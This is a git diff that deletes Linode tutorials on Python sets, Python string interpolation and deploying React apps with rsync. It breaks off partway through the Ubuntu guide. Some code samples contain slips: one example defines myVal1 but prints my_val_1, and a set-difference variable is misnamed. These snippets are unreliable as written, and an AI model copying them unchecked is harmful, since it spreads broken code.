sets. - -![Venn diagram of set union](python-sets-venn-union.png "Venn diagram of union of mammal_set and insectivore_set sets. All elements are in the diagram are shaded green, indicating that they are all included in the union.") - -The Python set `union` method is called on one set and takes another set as an argument. It returns the new union of those two sets: - -```file {lang="python"} -mammals_and_insectivores_set = mammal_set.union(insectivore_set) -print(mammals_and_insectivores_set) -``` - -```output -{'lizards', 'anteaters', 'giraffes', 'wolves', 'frogs', 'armadillos'} -``` - -Calling the `union` method on the `insectivore_set` set instead is equivalent to the previous example: - -```file {lang="python"} -mammals_and_insectivores_set = insectivore_set.union(mammal_set) -print(mammals_and_insectivores_set) -``` - -```output -{'lizards', 'anteaters', 'giraffes', 'wolves', 'frogs', 'armadillos'} -``` - -The union *operator* ` | ` also returns the union of two different sets. This is equivalent to using the `union` method: - -```file {lang="python"} -mammals_and_insectivores_set = mammal_set | insectivore_set -print(mammals_and_insectivores_set) -``` - -```output -{'lizards', 'anteaters', 'giraffes', 'wolves', 'frogs', 'armadillos'} -``` - -### Python Set Intersection - -The *intersection* between two sets includes the elements that are in both sets. - -In the Venn diagram below there are two overlapping circles, corresponding to the `mammal_set` and `insectivore_set` sets. The shaded green area represents the intersection for the `mammal_set` and the `insectivore_set` set: - -![Venn diagram of set symmetric difference](python-sets-venn-intersection.png "Venn diagram of intersection between the mammal_set and insectivore_set sets. Elements that are in both mammal_set and the insectivore_set in the diagram are shaded green, indicating that they are all included in the intersection.") - -The Python set `intersection` method is called on one set and takes another set as an argument. It returns the intersection between the two sets. This code creates a set of mammals that are insectivores, as in the diagram above. It excludes mammals that do not eat insects and non-mammals that do: - -```file {lang="python"} -mammals_that_are_insectivores_set = mammal_set.intersection(insectivore_set) -print(mammals_that_are_insectivores_set) -``` - -```output -{'anteaters', 'armadillos'} -``` - -{{< note >}} -Changing which set is passed as an argument to `intersection` does not change the returned value. -{{< /note >}} - -The intersection *operator* ` & ` also returns the intersection between two sets. This is equivalent to using the `intersection` method: - -```file {lang="python"} -mammals_that_are_insectivores_set = mammal_set & insectivore_set -print(mammals_that_are_insectivores_set) -``` - -```output -{'anteaters', 'armadillos'} -``` - -### Python Set Difference - -The *difference* between two sets includes the elements from the first set that are *not* in the second set. The overlap between the two sets is excluded. - -In the Venn diagram below there are two overlapping circles, corresponding to the `mammal_set` and `insectivore_set` sets. The shaded green area represents the difference between the `mammal_set` and the `insectivore_set` set: - -![Venn diagram of set difference, 1](python-sets-venn-difference-1.png "Venn diagram of difference between the mammal_set and insectivore_set sets. Elements that are in mammal_set that are not in insectivore_set in the diagram are shaded green, indicating that they are all included in the difference.") - -There is also a second difference between the sets, where the second set's elements are included instead of the first: - -![Venn diagram of set difference, 2](python-sets-venn-difference-2.png "Venn diagram of the second difference between the insectivore_set and mammal_set sets. Elements that are in insectivore_set that are not in mammal_set in the diagram are shaded green, indicating that they are all included in the difference.") - -The Python set `difference` method is called on one set and takes another set as an argument. It returns the difference between the two sets, where the argument set is subtracted from the set that the method is called on. This code creates a set of mammals that are not insectivores, as in the diagram above: - -```file {lang="python"} -mammals_that_are_not_insectivores_set = mammal_set.difference(insectivore_set) -print(mammals_that_are_not_insectivores_set) -``` - -```output -{'wolves', 'giraffes'} -``` - -The order that the sets are listed in the code matters, and reversing the order produces a different result. The code below instead calls `difference` on the `insectivore_set` and passes `mammal_set` as the argument. The returned difference is the set of insectivores that are not mammals: - -```file {lang="python"} -insectivores_that_are_not_mammals_set = insectivore_set.difference(mammal_set) -print(insectivores_that_are_not_mammals_set) -``` - -```output -{'frogs', 'lizards'} -``` - -The difference *operator* ` - ` also returns the difference between two sets. This is equivalent to using the `difference` method: - -```file {lang="python"} -# Same as mammal_set.difference(insectivore_set) -insectivores_that_are_not_mammals_set = mammal_set - insectivore_set -print(insectivores_that_are_not_mammals_set) -``` - -```output -{'wolves', 'giraffes'} -``` - -### Python Set Symmetric Difference - -The *symmetric difference* between two sets includes the elements from either set that are *not* in both sets. In other words, the symmetric difference is the union of two sets, minus their intersection. It can also be thought of as the union of the two differences between the sets. - -In the Venn diagram below there are two overlapping circles, corresponding to the `mammal_set` and `insectivore_set` sets. The shaded green area represents the symmetric difference for the `mammal_set` and the `insectivore_set` set: - -![Venn diagram of set symmetric difference](python-sets-venn-symmetric-difference.png "Venn diagram of symmetric difference between the mammal_set and insectivore_set sets. Elements that are not in both mammal_set and the insectivore_set in the diagram are shaded green, indicating that they are all included in the symmetric difference.") - -The Python set `symmetric_difference` method is called on one set and takes another set as an argument. It returns the symmetric difference between the two sets. This code creates a set of mammals that are not insectivores and insectivores that are not mammals, as in the diagram above: - -```file {lang="python"} -symmetric_difference_mammal_insectivores = mammal_set.symmetric_difference(insectivore_set) -print(symmetric_difference_mammal_insectivores) -``` - -```output -{'giraffes', 'frogs', 'lizards', 'wolves'} -``` - -{{< note >}} -Changing which set is passed as an argument to `symmetric_difference` does not change the returned value. -{{< /note >}} - -The symmetric difference *operator* ` ^ ` also returns the symmetric difference between two sets. This is equivalent to using the `symmetric_difference` method: - -```file {lang="python"} -symmetric_difference_mammal_insectivores = mammal_set ^ insectivore_set -print(symmetric_difference_mammal_insectivores) -``` - -```output -{'giraffes', 'frogs', 'lizards', 'wolves'} -``` - -## Checking Python Set Relationships - -Another way that Python sets resemble mathematical sets is that they support the subset, superset, and disjoint comparative operations. Each of these operations allows you to check on the relationship between two sets. - -### Python Subset - -A set is a *subset* of another set is a set if all the elements in the first set are also in the second set. The `issubset` method can be used to verify if a Python set is a subset of another set. - -In this example, `issubset` is called on `set_A`, and `set_B` is passed as an argument. The method returns True because `set_A` is a subset of `set_B`: - -```file {lang="python"} -set_A = {"a", "b", "c"} -set_B = {"a", "b", "c", "d", "e", "f", "g"} - -set_A.issubset(set_B) -``` - -```output -True -``` - -### Python Superset - -A set is a *superset* of another set is a set if the first set contains all the elements in the second set. The `issuperset` method can be used to verify if a Python set is a superset of another set. - -In this example, `issuperset` is called on `set_B`, and `set_A` is passed as an argument. The method returns True because `set_B` is a superset of `set_A`: - -```file {lang="python"} -set_A = {1, 2, 3, 4} -set_B = {1, 2, 3, 4, 5, 6, 7, 8, 9, 0} - -set_B.issuperset(set_A) -``` - -```output -True -``` - -### Python Disjoint Sets - -Two sets are *disjoint* if they share no elements in common. The `isdisjoint` method can be used to verify if a Python set is disjoint with another set. - -In this example, `isdisjoint` is called on `set_A`, and `set_B` is passed as an argument. The method returns True because `set_A` does not contain any of the elements in `set_B`, and `set_B` does not contain any of the elements in `set_A`: - -```file {lang="python"} -set_A = {"a", "b", "c", "d"} -set_B = {1, 2, 3, 4} - -set_A.isdisjoint(set_B) -``` - -```output -True -``` - -## Conclusion - -By following and referencing this guide, you can now get started using sets in your applications. Have more questions or want some help getting started? Consider searching for or asking your questions on the [Linode Q&A forum](https://www.linode.com/community/questions/). \ No newline at end of file diff --git a/docs/guides/development/python/python-string-interpolation/index.md b/docs/guides/development/python/python-string-interpolation/index.md deleted file mode 100644 index 1a0016f8f33..00000000000 --- a/docs/guides/development/python/python-string-interpolation/index.md +++ /dev/null @@ -1,251 +0,0 @@ ---- -slug: python-string-interpolation -title: "Python String Interpolation" -title_meta: "An Introduction to Python String Interpolation" -description: 'Python 3 string interpolation provides string substitution and string formatting. This guide covers the str.format() method, the modulo operator, f-strings, and the Template class.' -authors: ["John Mueller"] -contributors: ["John Mueller"] -published: 2022-05-20 -keywords: ['python string interpolation','python3 string format','python string format example'] -tags: ['python'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -During *string interpolation* a string literal is evaluated and if any placeholders are present, they are substituted by the indicated variable values. String interpolation helps reduce repetition in code and allows for dynamic string substitution. Python string interpolation consists of two parts: a *string template* and a value, or set of values, that you want to place within that template. To trigger string interpolation, the compiler needs some method of determining where to place the values within the string template. Python provides four techniques to do this, and this guide covers them all. Each string interpolation technique has its own advantages and disadvantages. The four ways to trigger string interpolation are the following: - -- A modulo character (`%`) placed within a string literal indicates where to make the string replacement and can be followed by string format indicators and variable names that store replacement values. -- Call the `.format()` method on your string literal. Use a pair of curly braces (`{}`) to indicate where to make the string replacement. The `.format()` method's arguments indicate the values to use for the string replacement. -- Precede any string literal by the letter `f` to use formatted string literals, also referred to as "f-strings". The string literal can contain curly braces (`{}`) that delimit a python expression and variables to use for the string substitution. -- Import the [String module's Template class](https://docs.python.org/3/library/string.html#template-strings) into your Python code. Store your string template in a variable using the `Template()` class. Then, use the Template class' `.substitute()` function to indicate which values to use in the string substitution. - -The sections below cover each of the four ways you can use string interpolation in Python. - -## The String Modulo Operator and String Formatting - -If code readability is a top concern, the modulo operator (`%`) method for string interpolation and formatting is a good choice. Its syntax is more concise compared to other string interpolation methods, because it does not require as many formatting arguments. The modulo operator is, however, the least flexible of the methods available for string interpolation. It is also an older string formatting method that may not remain supported as newer versions of Python are released. If you are working with an older Python codebase that uses the string modulo operator, then you may need to become familiar with its syntax. - -The general syntax for string formatting with the string modulo operator is the following: - - %[flags][width][.precision]format_indicator %(values) - -### Using String Format Indicators - -String formatting with the modulo operator includes the `%` character and a format indicator for each of the entries in the string template. A format indicator converts a provided value into the type indicated by the format indicator. The conversion is done before the value is inserted into the string. Python provides the following format indicators: - -- `%s`: String (performed using the `str()` function) -- `%d`: Integer -- `%f`: Floating point -- `%e`: Lowercase exponent -- `%E`: Uppercase exponent -- `%x`: Lowercase hexadecimal -- `%X`: Uppercase hexadecimal -- `%o`: Octal -- `%r`: Raw (performed using the `repr()` function) -- `%g`: Floating point for smaller numbers, lowercase exponent for larger numbers -- `%G`: Floating point for smaller numbers, uppercase exponent for larger numbers -- `%a`: ASCII (performed using the `ascii()` function) -- `%c`: Converts an `int` or a `char` to a character, such as `65` to the letter `A` - -The values to use for string substitution are placed after another `%` outside of the string literal. They can appear alone when working with a single value, or within a tuple when working with multiple values. You can use arithmetic calculations to generate a string replacement value, as demonstrated in the example below. - - myVal1 = 10.1 - myVal2 = 2.2 - print("The sum of %s and %s is %s." %(my_val_1, my_val_2, my_val_1+my_val_2)) - print("The sum of %d and %d is %d." %(my_val_1, my_val_2, my_val_1+my_val_2)) - print("The sum of %f and %f is %f." %(my_val_1, my_val_2, my_val_1+my_val_2)) - print("The sum of %e and %e is %E." %(my_val_1, my_val_2, my_val_1+my_val_2)) - print("The sum of %x and %x is %X." %(int(my_val_1), int(my_val_2), - int(my_val_1+my_val_2))) - print("The sum of %o and %o is %o." %(int(my_val_1), int(my_val_2), - int(my_val_1+my_val_2))) - -The output shows the result of the various format indicators. - -{{< output >}} -The sum of 10.1 and 2.2 is 12.3. -The sum of 10 and 2 is 12. -The sum of 10.100000 and 2.200000 is 12.300000. -The sum of 1.010000e+01 and 2.200000e+00 is 1.230000E+01. -The sum of a and 2 is C. -The sum of 12 and 2 is 14. -{{}} - -The format indicators in the first `print()` statement convert `my_val_1`, `my_val_2`, and `my_val_1+my_val_2` into strings. The string values are then substituted where the `%` character is placed within the string literal. The subsequent format indicator examples perform similar substitutions, but instead convert the values to decimals, floating point numbers, exponents, hexadecimal numbers, and octal numbers. Notice that you must convert floating-point values to integer values when working with the `%x`, `%X`, or `%o` format indicators. This is why the `int()` method is used in the last two `print()` statements. - -The following code shows the difference between string output and raw output for the same variable value: - - my_val = 'Hello There!' - print("%s, it's a lovely day!" %my_val) - print("%r, it's a lovely day!" %my_val) - -When working with raw output, the compiler doesn't interpret any of the characters and displays every character that is present in your string. This allows you to use special characters as needed. The second `print()` statement made use of the raw output format indicator (`%r`), so the output displays the opening and closing single quotes. - -{{< output >}} -Hello There!, it's a lovely day! -'Hello There!', it's a lovely day! -{{}} - -### Using Flags to Modify Output - -The string modulo operator supports flags that further control a string's formatting. The following examples demonstrate the usage of flags in modulo string formatting. - -The examples below use the variables, `my_val_1` and `my_val_2` to store the values to embed within the example strings. - - my_val_1 = 10.1 - my_val_2 = 2.2 - -The format indicator `%5d`, uses the `5` flag to indicate that the integers should be formatted with 5 spaces. Since the `d` portion converts the floating-point numbers to integers, three spaces are placed in front of the integers. - - print("%5d %5d" %(my_val_1, my_val_2)) - -{{< output >}} - 10 2 -{{}} - -Similarly, you can pad your output with zeros: - - print("%05d %02d" %(my_val_1, my_val_2)) - -{{< output >}} -00010 02 -{{}} - -To left justify your integers, use the `-` flag with your string formatting: - - print("%-5d %-5d" %(my_val_1, my_val_2)) - -{{< output >}} -10 2 -{{}} - -It’s possible to achieve more sophisticated formatting using the modulo operator. For example, you can format a floating-point value to have a specific number of digits after the decimal point. You can also add a dollar sign to monetary values. The following code shows both methods. - - print("%07.2f" %my_val_1) - print("$%1.2f" %my_val_1) - -{{< output >}} -0010.10 -$10.10 -{{}} - -In the first example, the first part of the format specifier tells the compiler to make the entirety of the output seven digits long (`%07`). The second part of the format specifier tells the compiler to keep the part after the decimal point limited to two digits (`2f`). The second example uses a value of one for the entirety of the output, but limits the decimal output to two digits. When you specify a length that can’t possibly hold the entire value, Python still displays the whole value as shown. - -## The Python String .format() Method and Positional Arguments - -Python's `str.format()` method provides another option for working with string formatting and interpolation. With the `str.format()` method, it’s possible to obtain any string output you need, however, it may require complex code. Due to its complexity, the `.format()` method may not always be the best choice. Formatting characters can prove difficult to read and even harder to troubleshoot. - -The `str.format()` method can be called on any Python string object. *Replacement fields* are surrounded by curly braces (`{}`). A replacement field contains the name of a [keyword argument](https://docs.python.org/3/glossary.html#term-argument) or the numeric index of a positional argument. - -The example below demonstrates using the `str.format()` with replacement fields and a named keyword argument. - - 'My name is {name} and I am {age} years old'.format(name= 'Frida', age=114) - -The Python interpreter returns the original string. However, the replacement fields are expanded to display the values of the `.format()` method's keyword arguments. - -{{< output >}} -'My name is Frida and I am 114 years old' -{{}} - -The next example demonstrates using the `str.format()` with replacement fields and the numeric index of a positional argument. - - 'My name is {0} and I am {1} years old'.format('Frida', 114) - -The Python interpreter returns the original string. In this case, the replacement fields are expanded to display the values of the `str.format()` method's positional arguments. - -Similar to the modulo method of string formatting, you can use format indicators with your `str.format()` method's arguments to further modify your string output. For example, the two variables, `my_val_1` and `my_val_2` store floating-point numbers. - - my_val_1 = 10.1111 - my_val_2 = 2.2222 - -Use the `str.format()` method and format indicators to adjust the number of digits that are displayed after the decimal point. - - 'The first value equals {:.2f} and the second value equals {:.3f}.'.format(my_val_1, my_val_2) - -Python returns the following formatted string: - -{{< output >}} -'The first value equals 10.11 and the second value equals 2.222.' -{{}} - -The format indicator `{:.2f}` specifies that the floating-point value should display two places after the decimal point. While the format indicator `{:.3f}`, specifies that the floating-point value should display three places after the decimal point. - -The `str.format()` method supports many format indicators that align your output, and adjust the [presentation type for string, integer, float, and decimal values](https://docs.python.org/3/library/string.html#format-specification-mini-language). - -## Python f-strings - -Another way to format strings is with Python f-strings, also known as *formatted string literals*. As with the other string formatting techniques discussed in this guide, f-strings can contain replacement fields denoted with curly braces (`{}`). When compared to the `str.format()` method, the f-string method produces simpler and more readable code. In addition, f-strings are more performant than the modulo operator or the `str.format()` method. - -When using a Python f-string, you must prefix your string literal with `f` or `F`. For example: - - import datetime - f'The date today is {datetime.datetime.now():%B %d, %Y}' - -The Python interpreter returns the following string: - -{{< output >}} -'The date today is March 01, 2022' -{{}} - -The replacement field includes a Python expression and a date format specifier. To achieve the same result using the `str.format()` method, you need the following code: - - import datetime - 'The date today is {:%B %d, %Y}'.format(datetime.datetime.now()) - -The f-string version of the code is more succinct and readable than the `str.format()` version. Similar to `str.format()`, you should refer to Python's [Format Specification Mini-Language documentation](https://docs.python.org/3/library/string.html#formatspec) to learn all the ways that you can format strings using f-strings. - -## Python Template Strings - -The Python 3 [Template Class](https://docs.python.org/3/library/string.html#template-strings) is part of the String module. Compared to the other methods described in this guide, template strings provide simpler string substitution. However, it does not support string formatting, like f-strings, `str.format()`, and the string modulo operator. While this makes Template class strings less powerful, they are considered more secure. For this reason, the Template class is a good choice if you are working with user-generated strings. - -String substitutions are indicated using a `$` interpolation character. The `$` should be followed by the name of a dictionary key that has been passed as an argument to the Template class's `substitute()` method. The `substitute()` method requires a dictionary-like object with keys as its argument. The `Template()` class accepts the template string as its argument. The example below imports the Template class, stores a new instance of the Template class and the string template in a variable. The new Template class' `substitution()` method is called and it contains the substitution string to use. - - from string import Template - greeting = Template('Welcome, $name') - greeting.substitute(name='Frida!') - -The Python interpreter returns the interpolated string: - -{{< output >}} -'Welcome, Frida!' -{{}} - -The Python 3 Template class provides more readable code, especially when using a single template with various values stored in a [dictionary](/cloud/guides/python-3-dictionaries/). For example: - -{{< file "~/home/username/template_example.py">}} -from string import Template - -names = [] -names.append(dict(first='Anais', last='Nin')) -names.append(dict(first='Octavia', last='Butler')) -names.append(dict(first='Frida', last='Kahlo')) - -greeting = Template('Welcome, $first $last') - -for name in names: - print(greeting.substitute(name)) -{{}} - -When you run the above Python file, the following interpolated strings are returned as output: - -{{< output >}} -Welcome, Anais Nin -Welcome, Octavia Butler -Welcome, Frida Kahlo -{{}} - -The code in the `template_example.py` file is straightforward and readable. You can see that the template to be used derives its substitution values from the dictionaries appended to the `names` list. Then, a concise for loop, calls the template, and uses the `substitute()` method to perform the template substitutions. - -## Conclusion - -Python provides multiple ways to format strings, each with its own advantages and disadvantages. The method you choose depends on your particular use case and your familiarity with each method. Overall, the f-string method provides a good combination of formatting power and readable code. However, you may consider the `str.format()` method or the Template string class if maintaining security with user-generated strings is a concern. Finally, the string modulo operator is a legacy method for string substitution and formatting. But, it is helpful to familiarize yourself with this method if you are working with a legacy Python codebase. - - - - - - - - - - - diff --git a/docs/guides/development/react/how-to-deploy-a-react-app-on-centos-8/index.md b/docs/guides/development/react/how-to-deploy-a-react-app-on-centos-8/index.md deleted file mode 100644 index 825d4354c98..00000000000 --- a/docs/guides/development/react/how-to-deploy-a-react-app-on-centos-8/index.md +++ /dev/null @@ -1,197 +0,0 @@ ---- -slug: how-to-deploy-a-react-app-on-centos-8 -title: "Deploying a React Application on CentOS 8" -title_meta: "How to Deploy a React Application on CentOS 8" -description: 'This guide will show you how to deploy a React application you may have written to a CentOS 8 Linode that is running a web serve such as Apache or NGINX.' -og_description: 'This guide will show you how to deploy a React application you may have written to a CentOS 8 Linode that is running a web serve such as Apache or NGINX' -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-04-24 -modified: 2020-04-24 -keywords: ['react','reactjs','deploy','rsync'] -tags: ["web applications","apache","nginx","centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Deploying_a_React_Application_on_Centos_8_1200x631.png -external_resources: -- '[React - A JavaScript library for building user interfaces](https://reactjs.org/)' -- '[Deploy a React App with Sass Using NGINX](https://web.archive.org/web/20191130010415/http://zabana.me/notes/build-deploy-react-app-with-nginx.html)' -audiences: ["beginner"] -concentrations: ["Web Applications"] -languages: ["javascript"] -relations: - platform: - key: deploy-react-app - keywords: - - distribution: CentOS 8 -aliases: ['/development/react/how-to-deploy-a-react-app-on-centos-8/'] ---- - -## What is React? - -[React](https://reactjs.org/) is a popular JavaScript library for building user interfaces. While React is often used as a frontend for more complex applications, it's also powerful enough to be used for full client-side applications on its own. - -Since a basic React app is static (it consists of compiled HTML, CSS, and JavaScript files), it is easy to deploy from a local computer to a Linode using [Rsync](/cloud/guides/introduction-to-rsync/). This guide shows how to set up your CentOS 8 Linode and local machine so that you can easily deploy your app whenever changes are made. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Install and configure a [web server](/cloud/guides/web-servers/) to host a website on your Linode. This guide's examples will use the Apache and NGINX web servers. Complete the steps in the [Installing Apache Web Server on CentOS 8](/cloud/guides/how-to-install-apache-web-server-centos-8/) guide or the [Installing NGINX on CentOS 8](/cloud/guides/how-to-install-nginx-centos-8/) guide. - -1. This guide assumes you already have a React app you'd like to deploy. If you don't have one, you can quickly bootstrap a project following the steps in the [Create an Example React App](#create-an-example-react-app) section of this guide. This step should be completed on your local system. - -1. Install the Rsync program on your Linode server. - - sudo yum install rsync - -1. Install [Git](/cloud/guides/how-to-configure-git/) on your local computer if it is not already installed. - - sudo yum install git - -1. Install the SELinux core policy Python utilities if you have not already done so. This will give you the ability to manage SELinux settings in a fine-grained way. - - sudo yum install -y policycoreutils-python-utils - -## Configure your Linode for Deployment - -The steps in this section should be performed on your Linode. - -### Create your Host Directory - -1. If it does not yet exist, create your site's web root directory. Most of the time, it will be located in the `/var/www` directory. - - sudo mkdir -p /var/www/example.com - -1. Set permissions for the new directory to allow your regular user account to write to it: - - sudo chmod 755 -R /var/www/example.com - -1. The Rsync program will execute its commands as the user you designate in your deployment script. This user must be the owner of your site's web root. Replace `example_user` with your own user's name and `/var/www/example.com` with the location of your site's web root. - - sudo chown -R example_user:example_user /var/www/example.com - -1. Use SELinux’s `chcon` command to change the file security context for web content if you have not already done so. - - sudo chcon -t httpd_sys_content_t /var/www/example.com -R - sudo chcon -t httpd_sys_rw_content_t /var/www/example.com -R - -### Configure your Web Server - -In this section, you will update your web server configuration to ensure that it is configured to point to your site's web root. - -1. Update your configuration file to point to your site's web root. - - > **Apache** - - > Modify the `DocumentRoot` in your virtual host file with the path to your site's web root. - - > {{< file "/etc/apache2/sites-available/example.com.conf" aconf >}} - - ServerAdmin webmaster@example.com - ServerName example.com - ServerAlias www.example.com - DocumentRoot /var/www/example.com/ ## Modify this line as well as others referencing the path to your app - ErrorLog /var/www/example.com/logs/error.log - CustomLog /var/www/example.com/logs/access.log combined - - {{< /file >}} - - > **NGINX** - - > Modify the `root` parameter with the path to your site's web root. - - > {{< file "/etc/nginx/sites-available.example.com" nginx >}} - server { - listen 80; - listen [::]:80; - - root /var/www/example.com; ## Modify this line - index index.html index.htm; - - } - {{< /file >}} - -1. Open the firewall for traffic if you have not already done so. - - sudo firewall-cmd --zone=public --permanent --add-service=http - sudo firewall-cmd --zone=public --permanent --add-service=https - sudo firewall-cmd --reload - -1. Restart the web server to apply the changes. - - > **Apache** - - > sudo systemctl restart apache2 - - > **NGINX** - - > sudo systemctl restart nginx - -## Configure your Local Computer - -### Install the Node Version Manager and Node.js - -You will need Node.js installed on your local computer in order to build your React app prior to copying your site files to the remote Linode server. - -{{% content "how-to-install-nvm" %}} - -### Create an Example React App - -If you already have a React App that you would like to deploy to your Linode, you can skip this section. Otherwise, follow the steps in this section to create a basic React app using the [create-react-app](https://github.com/facebook/create-react-app#create-react-app--) tool. - -1. Use the Node Package Manager to create your React app. - - npm init react-app ~/my-app - -### Create your Deployment Script - -1. Navigate to your app's directory. Replace `~/my-app` with the location of your React app's directory. - - cd ~/my-app - -1. Using a text editor, create a deployment script called `deploy.sh` in your app's root directory. Replace the following values in the example file: - - `example_user` with the username of your limited user account. - - `example.com` with your Linode's fully qualified domain name (FQDN) or public IP address. - - `/var/www/example.com/` with the location of your site's web root. This is where all of your React app's local `build/` files will be copied to on the remote server. - - {{< file "~/my-app/deploy.sh" bash >}} -#!/bin/sh - -echo "Switching to branch master" -git checkout master - -echo "Building app" -npm run build - -echo "Deploying files to server" -rsync -avP build/ example_user@example.com:/var/www/example.com/ -echo "Deployment complete" -{{< /file >}} - - This script will check out the `master` branch of your project on Git, build the app using `npm run build`, and then sync the build files to the remote Linode using Rsync. If your React app was not built with `create-react-app`, the build command may be different and the built files may be stored in a different directory (such as `dist`). Modify the script accordingly. - - {{< note respectIndent=false >}} -If your React app's directory is not initialized as a Git repository, the command `git checkout master` will return a `fatal: not a git repository (or any of the parent directories): .git` error. However, the script will continue on to the next commands and the files should still be transferred to your remote Linode server. See our [Getting Started with Git](/cloud/guides/how-to-configure-git/#use-git-with-a-local-repository) guide to learn how to initialize a Git repository. - {{< /note >}} - -1. Make the script executable: - - sudo chmod u+x deploy.sh - -1. Run the deployment script. Enter your Linode user's password when prompted by the script. - - ./deploy.sh - -1. In a browser, navigate to your Linode's domain name or public IP address. If the deploy was successful, you should see your React app displayed. - - ![View your example React app in a browser.](example-react-app.png) - -1. Make a few changes to your app's `src` directory and then re-run the `deploy` script. Your changes should be visible in the browser after reloading the page. - -## Next Steps - -Deployment can be a complex topic and there are many factors to consider when working with production systems. This guide is meant to be a simple example for personal projects, and isn't necessarily suitable on its own for a large scale production application. - -More advanced build and continuous integration tools such as [Jenkins](https://jenkins.io) or [Travis](https://travis-ci.org/) can be used to automate a more complicated deployment workflow. This can include running unit tests before proceeding with the deployment and deploying to multiple servers (such as test and production boxes). See our guide on [Jenkins](/cloud/guides/automate-builds-with-jenkins-on-ubuntu/) to get started. diff --git a/docs/guides/development/react/how-to-deploy-a-react-app-on-ubuntu-18-04/index.md b/docs/guides/development/react/how-to-deploy-a-react-app-on-ubuntu-18-04/index.md deleted file mode 100644 index aaa56e3346a..00000000000 --- a/docs/guides/development/react/how-to-deploy-a-react-app-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,193 +0,0 @@ ---- -slug: how-to-deploy-a-react-app-on-ubuntu-18-04 -title: "Deploying a React Application on Ubuntu 18.04" -title_meta: "How to Deploy a React Application on Ubuntu 18.04" -description: This guide will show you how to deploy a React app to a Ubuntu 18.04 Linode that is running a web server. -authors: ["Linode"] -contributors: ["Linode"] -published: 2018-04-24 -modified: 2020-04-24 -keywords: ['react','reactjs','deploy','rsync'] -tags: ["web applications","apache","nginx","ubuntu"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Deploying_a_React_Application_on_Ubuntu_1804_1200x631.png -external_resources: -- '[React - A JavaScript library for building user interfaces](https://reactjs.org/)' -- '[Deploy a React App with Sass Using NGINX](https://web.archive.org/web/20191130010415/http://zabana.me/notes/build-deploy-react-app-with-nginx.html)' -audiences: ["beginner"] -concentrations: ["Web Applications"] -languages: ["javascript"] -relations: - platform: - key: deploy-react-app - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/development/react/how-to-deploy-a-react-app-on-ubuntu-18-04/'] ---- -## What is React? - -[React](https://reactjs.org/) is a popular JavaScript library for building user interfaces. While React is often used as a frontend for more complex applications, it's also powerful enough to be used for full client-side applications on its own. - -Since a basic React app is static (it consists of compiled HTML, CSS, and JavaScript files), it is easy to deploy from a local computer to a Linode using [Rsync](/cloud/guides/introduction-to-rsync/). This guide shows how to set up your Ubuntu 18.04 Linode and local machine so that you can easily deploy your app whenever changes are made. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -1. Install and configure a [web server](/cloud/guides/web-servers/) to host a website on your Linode. This guide's examples will use the Apache and NGINX web servers. Complete the steps in the [Installing Apache Web Server on Ubuntu 18.04 LTS](/cloud/guides/how-to-install-apache-web-server-ubuntu-18-04/) guide or the [Installing NGINX on Ubuntu 18.04 LTS](/cloud/guides/how-to-install-nginx-ubuntu-18-04/) guide. - -1. This guide assumes you already have a React app you'd like to deploy. If you don't have one, you can quickly bootstrap a project following the steps in the [Create an Example React App](#create-an-example-react-app) section of this guide. This step should be completed on your local system. - -1. Install [Git](/cloud/guides/how-to-configure-git/) on your local computer if it is not already installed. - - sudo apt install git - -## Configure your Linode for Deployment - -The steps in this section should be performed on your Linode. - -### Create your Host Directory - -1. If it does not yet exist, create your site's web root directory. Most of the time, it will be located in the `/var/www` directory. - - sudo mkdir -p /var/www/example.com - -1. Set permissions for the new directory to allow your regular user account to write to it: - - sudo chmod 755 -R /var/www/example.com - -1. The Rsync program will execute its commands as the user you designate in your deployment script. This user must be the owner of your site's web root. Replace `example_user` with your own user's name and `/var/www/example.com` with the location of your site's web root. - - sudo chown -R example_user:www-data /var/www/example.com - - {{< note respectIndent=false >}} -Depending on how you have configured your web root's directory, `www-data` may or may not be the group that owns it. To verify the directory's group, issue the following command: - - ls -la /var/www/ - -You will see a similar output: - -{{< output >}} -drwxrwxr-x 3 example_user www-data 4096 Apr 24 17:34 example.com -{{}} - - - {{< /note >}} - - - - -### Configure your Web Server - -In this section, you will update your web server configuration to ensure that it is configured to point to your site's web root. - -1. Update your configuration file to point to your site's web root. - - > **Apache** - - > Modify the `DocumentRoot` in your virtual host file with the path to your site's web root. - - > {{< file "/etc/apache2/sites-available/example.com.conf" aconf >}} - - ServerAdmin webmaster@example.com - ServerName example.com - ServerAlias www.example.com - DocumentRoot /var/www/example.com/ ## Modify this line as well as others referencing the path to your app - ErrorLog /var/www/example.com/logs/error.log - CustomLog /var/www/example.com/logs/access.log combined - - {{< /file >}} - - > **NGINX** - - > Modify the `root` parameter with the path to your site's web root. - - > {{< file "/etc/nginx/sites-available.example.com" nginx >}} - server { - listen 80; - listen [::]:80; - - root /var/www/example.com; ## Modify this line - index index.html index.htm; - - } - {{< /file >}} - -1. Restart the web server to apply the changes. - - > **Apache** - - > sudo systemctl restart apache2 - - > **NGINX** - - > sudo systemctl restart nginx - -## Configure your Local Computer - -### Install the Node Version Manager and Node.js - -You will need Node.js installed on your local computer in order to build your React app prior to copying your site files to the remote Linode server. - -{{% content "how-to-install-nvm" %}} - -### Create an Example React App - -If you already have a React App that you would like to deploy to your Linode, you can skip this section. Otherwise, follow the steps in this section to create a basic React app using the 